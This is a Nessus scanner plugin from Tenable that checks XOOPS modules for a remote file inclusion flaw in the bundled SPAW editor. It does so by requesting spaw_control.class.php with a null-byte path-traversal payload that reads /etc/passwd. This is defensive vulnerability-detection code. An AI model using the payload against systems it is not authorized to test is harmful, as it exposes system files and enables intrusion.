| code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(25372);
script_version("1.26");
script_cve_id(
"CVE-2007-3057",
"CVE-2007-3220",
"CVE-2007-3221",
"CVE-2007-3237",
"CVE-2007-3289"
);
script_bugtraq_id(24302, 24470);
script_xref(name:"EDB-ID", value:"4022");
script_xref(name:"EDB-ID", value:"4063");
script_xref(name:"EDB-ID", value:"4069");
script_xref(name:"EDB-ID", value:"4070");
script_xref(name:"EDB-ID", value:"4084");
script_name(english:"XOOPS Multiple Modules spaw_control.class.php spaw_root Parameter Remote File Inclusion");
script_summary(english:"Tries to read a local file with spaw_control.class.php");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include vulnerability." );
script_set_attribute(attribute:"description", value:
"The remote host is running a third-party module for XOOPS.
The version of at least one such module installed on the remote host
includes a copy of the SPAW PHP WYSIWYG editor control that fails to
sanitize user-supplied input to the 'spaw_root' parameter of the
'spaw_control.class.php' script before using it to include PHP code.
Provided PHP's 'register_globals' setting is enabled, an
unauthenticated attacker can exploit this issue to view arbitrary
files on the remote host or possibly to execute arbitrary PHP code,
perhaps from third-party hosts." );
script_set_attribute(attribute:"solution", value:
"Disable PHP's 'register_globals' setting or contact the product's
author to see if an upgrade exists." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
script_set_attribute(attribute:"canvas_package", value:'CANVAS');
script_set_attribute(attribute:"plugin_publication_date", value: "2007/06/02");
script_set_attribute(attribute:"vuln_publication_date", value: "2007/06/01");
script_cvs_date("Date: 2018/08/07 16:46:49");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:xoops:icontent_module");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:xoops:cjay_content_module");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:xoops:xt-conteudo_module");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:tinycontent_module");
script_set_attribute(attribute:"cpe", value:"cpe:/a:xoops:xoops:wiwimod_module");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("xoops_detect.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
script_require_keys("www/xoops");
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");
port = get_http_port(default:80, embedded: 0);
if (!can_host_php(port:port)) exit(0);
# Vulnerable modules
nmods = 0;
mod = make_array();
# - Cjay Content 3
mod[nmods++] = "cjaycontent/admin/editor2";
# - iContent
mod[nmods++] = "icontent/include/wysiwyg";
# - TinyContent
mod[nmods++] = "tinycontent/admin/spaw";
# - WiwiMod
mod[nmods++] = "wiwimod/spaw";
# - XT-Conteudo
mod[nmods++] = "xt_conteudo/admin/spaw";
info = "";
contents = "";
# Test an install.
install = get_kb_item(string("www/", port, "/xoops"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
dir = matches[2];
# Try to exploit the flaw to read a file.
file = "/etc/passwd";
for (i=0; i<nmods; i++)
{
u = string(
dir, "/modules/", mod[i], "/spaw_control.class.php?",
"spaw_root=", file, "%00"
);
r = http_send_recv3(port:port, method: "GET", item: u);
if (isnull(r)) exit(0);
# There's a problem if...
if (
(
# there's an entry for root or...
egrep(pattern:"root:.*:0:[01]:", string:r[2]) ||
# we get an error saying "failed to open stream" or...
string("main(", file, "\\0config/spaw_control.config.php): failed to open stream") >< r[2] ||
# we get an error claiming the file doesn't exist or...
string("main(", file, "): failed to open stream: No such file") >< r[2] ||
# we get an error about open_basedir restriction.
string("open_basedir restriction in effect. File(", file) >< r[2]
)
)
{
info = info +
" " + dir + "/modules/" + mod[i] + "/spaw_control.class.php" + '\n';
if (!contents && egrep(string:r[2], pattern:"root:.*:0:[01]:"))
contents = r[2];
if (!thorough_tests) break;
}
}
}
if (info)
{
if (contents)
{
contents = data_protection::redact_etc_passwd(output:contents);
info = string(
"The following scripts(s) are vulnerable :\n",
"\n",
info,
"\n",
"And here are the (repeated) contents of the file '/etc/passwd' that\n",
"Nessus was able to read from the remote host :\n",
"\n",
contents
);
}
security_hole(port:port, extra: info);
}
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